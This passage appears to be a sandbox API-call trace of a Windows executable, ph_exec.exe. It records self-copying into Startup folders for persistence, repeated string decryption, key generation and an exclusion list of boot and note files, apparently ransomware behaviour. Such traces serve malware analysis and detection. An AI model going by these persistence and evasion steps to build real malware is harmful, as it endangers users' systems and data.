[0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.689] SetLastError (dwErrCode=0x0) [0036.689] GetLastError () returned 0x0 [0036.690] SetLastError (dwErrCode=0x0) [0036.690] GetLastError () returned 0x0 [0036.690] SetLastError (dwErrCode=0x0) [0036.690] GetLastError () returned 0x0 [0036.690] SetLastError (dwErrCode=0x0) [0036.690] GetLastError () returned 0x0 [0036.690] SetLastError (dwErrCode=0x0) [0036.690] GetLastError () returned 0x0 [0036.690] SetLastError (dwErrCode=0x0) [0036.690] GetLastError () returned 0x0 [0036.690] SetLastError (dwErrCode=0x0) [0036.690] GetLastError () returned 0x0 [0036.690] SetLastError (dwErrCode=0x0) [0036.690] GetLastError () returned 0x0 [0036.690] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), bFailIfExists=1) returned 0 [0036.690] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), bFailIfExists=1) returned 1 [0036.709] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15af8 | out: hHeap=0x2b10000) returned 1 [0036.709] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15298 | out: hHeap=0x2b10000) returned 1 [0036.709] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154b0 | out: hHeap=0x2b10000) returned 1 [0036.709] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b156c8 | out: hHeap=0x2b10000) returned 1 [0036.709] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b158e0 | out: hHeap=0x2b10000) returned 1 [0036.709] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0036.709] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11270 | out: hHeap=0x2b10000) returned 1 [0036.709] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11338 | out: hHeap=0x2b10000) returned 1 [0036.709] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0xc0) returned 0x2b111e0 [0036.709] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f824, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f88c | out: phKey=0xc9f88c*=0x10c92d0) returned 1 [0036.709] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f874, dwFlags=0x0) returned 1 [0036.709] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0xc9f840 | out: pbData=0x2b111e0, pdwDataLen=0xc9f840) returned 1 [0036.709] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.709] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0xbd) returned 0x2b112a8 [0036.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xcd3055, lpParameter=0x2b112a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224 [0036.710] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0036.710] CloseHandle (hObject=0x224) returned 1 [0036.710] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0036.710] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x60) returned 0x2b111e0 [0036.710] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f830, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f898 | out: phKey=0xc9f898*=0x10c92d0) returned 1 [0036.710] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f880, dwFlags=0x0) returned 1 [0036.710] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0xc9f84c | out: pbData=0x2b111e0, pdwDataLen=0xc9f84c) returned 1 [0036.710] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0036.710] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x5c) returned 0x2b11370 [0036.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xcd3055, lpParameter=0x2b11370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224 [0036.711] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x1388) returned 0x102 [0041.709] CloseHandle (hObject=0x224) returned 1 [0041.709] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0041.709] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b11488 [0041.709] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f7fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f864 | out: phKey=0xc9f864*=0x10c8e10) returned 1 [0041.710] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0xc9f84c, dwFlags=0x0) returned 1 [0041.710] CryptDecrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11488, pdwDataLen=0xc9f818 | out: pbData=0x2b11488, pdwDataLen=0xc9f818) returned 1 [0041.710] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0041.710] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x1e) returned 0x2b114b0 [0041.710] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x1e) returned 0x2b114d8 [0041.710] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b111e0 [0041.710] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f7d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f83c | out: phKey=0xc9f83c*=0x10c9410) returned 1 [0041.710] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0xc9f824, dwFlags=0x0) returned 1 [0041.710] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0xc9f7f0 | out: pbData=0x2b111e0, pdwDataLen=0xc9f7f0) returned 1 [0041.710] CryptDestroyKey (hKey=0x10c9410) returned 1 [0041.710] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b111e0 | out: hHeap=0x2b10000) returned 1 [0041.710] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2b114b0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0041.710] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b114d8 | out: hHeap=0x2b10000) returned 1 [0041.710] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11488 | out: hHeap=0x2b10000) returned 1 [0041.710] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc9f8a4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc9f8a4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.710] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b114b0 | out: hHeap=0x2b10000) returned 1 [0041.710] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x28) returned 0x2b11488 [0041.710] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b114b8 [0041.710] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f70c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f774 | out: phKey=0xc9f774*=0x10c92d0) returned 1 [0041.710] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f75c, dwFlags=0x0) returned 1 [0041.710] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b114b8, pdwDataLen=0xc9f728 | out: pbData=0x2b114b8, pdwDataLen=0xc9f728) returned 1 [0041.710] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.710] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b114d0 [0041.710] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f704, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f76c | out: phKey=0xc9f76c*=0x10c8e50) returned 1 [0041.710] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0xc9f754, dwFlags=0x0) returned 1 [0041.710] CryptDecrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b114d0, pdwDataLen=0xc9f720 | out: pbData=0x2b114d0, pdwDataLen=0xc9f720) returned 1 [0041.710] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0041.710] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b114e8 [0041.710] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f764 | out: phKey=0xc9f764*=0x10c8d90) returned 1 [0041.711] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0xc9f74c, dwFlags=0x0) returned 1 [0041.711] CryptDecrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b114e8, pdwDataLen=0xc9f718 | out: pbData=0x2b114e8, pdwDataLen=0xc9f718) returned 1 [0041.711] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0041.711] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b11500 [0041.711] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f75c | out: phKey=0xc9f75c*=0x10c92d0) returned 1 [0041.711] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f744, dwFlags=0x0) returned 1 [0041.711] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11500, pdwDataLen=0xc9f710 | out: pbData=0x2b11500, pdwDataLen=0xc9f710) returned 1 [0041.711] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.711] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b111e0 [0041.711] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f754 | out: phKey=0xc9f754*=0x10c9410) returned 1 [0041.711] CryptSetKeyParam (hKey=0x10c9410, dwParam=0x1, pbData=0xc9f73c, dwFlags=0x0) returned 1 [0041.711] CryptDecrypt (in: hKey=0x10c9410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b111e0, pdwDataLen=0xc9f708 | out: pbData=0x2b111e0, pdwDataLen=0xc9f708) returned 1 [0041.711] CryptDestroyKey (hKey=0x10c9410) returned 1 [0041.711] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b11518 [0041.711] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f74c | out: phKey=0xc9f74c*=0x10c92d0) returned 1 [0041.711] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f734, dwFlags=0x0) returned 1 [0041.711] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11518, pdwDataLen=0xc9f700 | out: pbData=0x2b11518, pdwDataLen=0xc9f700) returned 1 [0041.711] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.711] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x70) returned 0x2b15298 [0041.711] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f744 | out: phKey=0xc9f744*=0x10c8d90) returned 1 [0041.711] CryptSetKeyParam (hKey=0x10c8d90, dwParam=0x1, pbData=0xc9f72c, dwFlags=0x0) returned 1 [0041.711] CryptDecrypt (in: hKey=0x10c8d90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15298, pdwDataLen=0xc9f6f8 | out: pbData=0x2b15298, pdwDataLen=0xc9f6f8) returned 1 [0041.711] CryptDestroyKey (hKey=0x10c8d90) returned 1 [0041.711] htonl (hostlong=0xb4197730) returned 0x307719b4 [0041.711] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x20, pbBuffer=0xc9f838 | out: pbBuffer=0xc9f838) returned 1 [0041.711] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x28) returned 0x2b11278 [0041.711] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b15310 [0041.711] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x4) returned 0x2b11530 [0041.711] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x14) returned 0x2b15328 [0041.711] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b15348 [0041.712] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x80) returned 0x2b15360 [0041.712] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b153e8 [0041.712] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x82) returned 0x2b15400 [0041.712] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b15490 [0041.712] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x4) returned 0x2b154a8 [0041.712] CryptAcquireContextW (in: phProv=0xcdfcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xcdfcf4*=0x10cc4e0) returned 1 [0041.898] CryptGenRandom (in: hProv=0x10cc4e0, dwLen=0x55, pbBuffer=0xc9f7a2 | out: pbBuffer=0xc9f7a2) returned 1 [0041.898] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b154b8 [0041.898] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x80) returned 0x2b154d0 [0041.898] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b15558 [0041.898] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x2) returned 0x2b15570 [0041.898] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x4) returned 0x2b15580 [0041.898] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b15590 [0041.898] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x80) returned 0x2b104a0 [0041.899] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b10528 [0041.899] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x4) returned 0x2b10540 [0041.899] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b15570, Size=0x82) returned 0x2b184d8 [0041.899] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b10540, Size=0x100) returned 0x2b18568 [0041.899] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b18788 [0041.899] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x82) returned 0x2b18c78 [0041.899] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b186c8 [0041.900] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x82) returned 0x2b18d08 [0041.900] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b184d8, Size=0x104) returned 0x2b18d98 [0041.900] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b18568, Size=0x200) returned 0x2b18ea8 [0041.900] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15580 | out: hHeap=0x2b10000) returned 1 [0041.900] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18ea8 | out: hHeap=0x2b10000) returned 1 [0041.900] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b10528 | out: hHeap=0x2b10000) returned 1 [0041.900] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154d0 | out: hHeap=0x2b10000) returned 1 [0041.900] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154b8 | out: hHeap=0x2b10000) returned 1 [0041.900] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b104a0 | out: hHeap=0x2b10000) returned 1 [0041.900] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15590 | out: hHeap=0x2b10000) returned 1 [0041.900] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18d98 | out: hHeap=0x2b10000) returned 1 [0041.900] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15558 | out: hHeap=0x2b10000) returned 1 [0041.900] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18c78 | out: hHeap=0x2b10000) returned 1 [0041.900] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18788 | out: hHeap=0x2b10000) returned 1 [0041.900] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b18d08 | out: hHeap=0x2b10000) returned 1 [0041.900] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b186c8 | out: hHeap=0x2b10000) returned 1 [0041.901] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11530 | out: hHeap=0x2b10000) returned 1 [0041.901] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15310 | out: hHeap=0x2b10000) returned 1 [0041.901] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15400 | out: hHeap=0x2b10000) returned 1 [0041.901] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b153e8 | out: hHeap=0x2b10000) returned 1 [0041.901] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15360 | out: hHeap=0x2b10000) returned 1 [0041.901] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15348 | out: hHeap=0x2b10000) returned 1 [0041.901] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b154a8 | out: hHeap=0x2b10000) returned 1 [0041.901] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15490 | out: hHeap=0x2b10000) returned 1 [0041.901] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11278 | out: hHeap=0x2b10000) returned 1 [0041.901] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15328 | out: hHeap=0x2b10000) returned 1 [0041.901] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0xa4) returned 0x2b104a0 [0041.901] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x66) returned 0x2b184d8 [0041.901] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b184d8, Size=0xca) returned 0x2b184d8 [0041.901] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b187b8 [0041.901] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0xb40) returned 0x2b18c78 [0041.901] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f73c | out: phKey=0xc9f73c*=0x10c8e50) returned 1 [0041.901] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0xc9f724, dwFlags=0x0) returned 1 [0041.901] CryptDecrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b18c78, pdwDataLen=0xc9f6f0 | out: pbData=0x2b18c78, pdwDataLen=0xc9f6f0) returned 1 [0041.901] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0041.901] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x10) returned 0x2b18740 [0041.901] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f734 | out: phKey=0xc9f734*=0x10c9450) returned 1 [0041.901] CryptSetKeyParam (hKey=0x10c9450, dwParam=0x1, pbData=0xc9f71c, dwFlags=0x0) returned 1 [0041.901] CryptDecrypt (in: hKey=0x10c9450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b18740, pdwDataLen=0xc9f6e8 | out: pbData=0x2b18740, pdwDataLen=0xc9f6e8) returned 1 [0041.901] CryptDestroyKey (hKey=0x10c9450) returned 1 [0041.901] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b185b0 [0041.901] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f70c | out: phKey=0xc9f70c*=0x10c92d0) returned 1 [0041.901] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f6f4, dwFlags=0x0) returned 1 [0041.901] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b185b0, pdwDataLen=0xc9f6c0 | out: pbData=0x2b185b0, pdwDataLen=0xc9f6c0) returned 1 [0041.901] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.901] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x84) returned 0x2b15310 [0041.901] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x84) returned 0x2b153a0 [0041.901] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b15430 [0041.901] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f67c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f6e4 | out: phKey=0xc9f6e4*=0x10c92d0) returned 1 [0041.901] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f6cc, dwFlags=0x0) returned 1 [0041.901] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b15430, pdwDataLen=0xc9f698 | out: pbData=0x2b15430, pdwDataLen=0xc9f698) returned 1 [0041.901] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.901] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b15430 | out: hHeap=0x2b10000) returned 1 [0041.901] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x2b15310, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0041.902] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b153a0 | out: hHeap=0x2b10000) returned 1 [0041.902] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b185b0 | out: hHeap=0x2b10000) returned 1 [0041.902] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20) returned 0x2b11278 [0041.902] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f6a0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f708 | out: phKey=0xc9f708*=0x10c92d0) returned 1 [0041.902] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f6f0, dwFlags=0x0) returned 1 [0041.902] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b11278, pdwDataLen=0xc9f6bc | out: pbData=0x2b11278, pdwDataLen=0xc9f6bc) returned 1 [0041.902] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.902] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x18) returned 0x2b10550 [0041.902] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x18) returned 0x2b10570 [0041.902] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x90) returned 0x2b185b0 [0041.902] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f6e0 | out: phKey=0xc9f6e0*=0x10c92d0) returned 1 [0041.902] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f6c8, dwFlags=0x0) returned 1 [0041.902] CryptDecrypt (in: hKey=0x10c92d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2b185b0, pdwDataLen=0xc9f694 | out: pbData=0x2b185b0, pdwDataLen=0xc9f694) returned 1 [0041.902] CryptDestroyKey (hKey=0x10c92d0) returned 1 [0041.902] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b185b0 | out: hHeap=0x2b10000) returned 1 [0041.902] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x2b10550, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0041.902] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b10570 | out: hHeap=0x2b10000) returned 1 [0041.902] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b11278 | out: hHeap=0x2b10000) returned 1 [0041.902] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20a) returned 0x2b197c0 [0041.902] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x20a) returned 0x2b199d8 [0041.902] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2b199d8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe")) returned 0x23 [0041.902] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x2b199d8 | out: hHeap=0x2b10000) returned 1 [0041.902] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0xb38) returned 0x2b199d8 [0041.902] GetLastError () returned 0x0 [0041.902] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b199d8, Size=0xb46) returned 0x2b199d8 [0041.902] GetLastError () returned 0x0 [0041.902] RtlReAllocateHeap (Heap=0x2b10000, Flags=0x0, Ptr=0x2b185b0, Size=0x9e) returned 0x2b185b0 [0041.903] GetLastError () returned 0x0 [0041.903] CryptImportKey (in: hProv=0x10b66e0, pbData=0xc9f7fc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xc9f864 | out: phKey=0xc9f864*=0x10c92d0) returned 1 [0041.903] CryptSetKeyParam (hKey=0x10c92d0, dwParam=0x1, pbData=0xc9f84c, dwFlags=0x0) returned 1 [0041.903] CryptDecrypt (in: 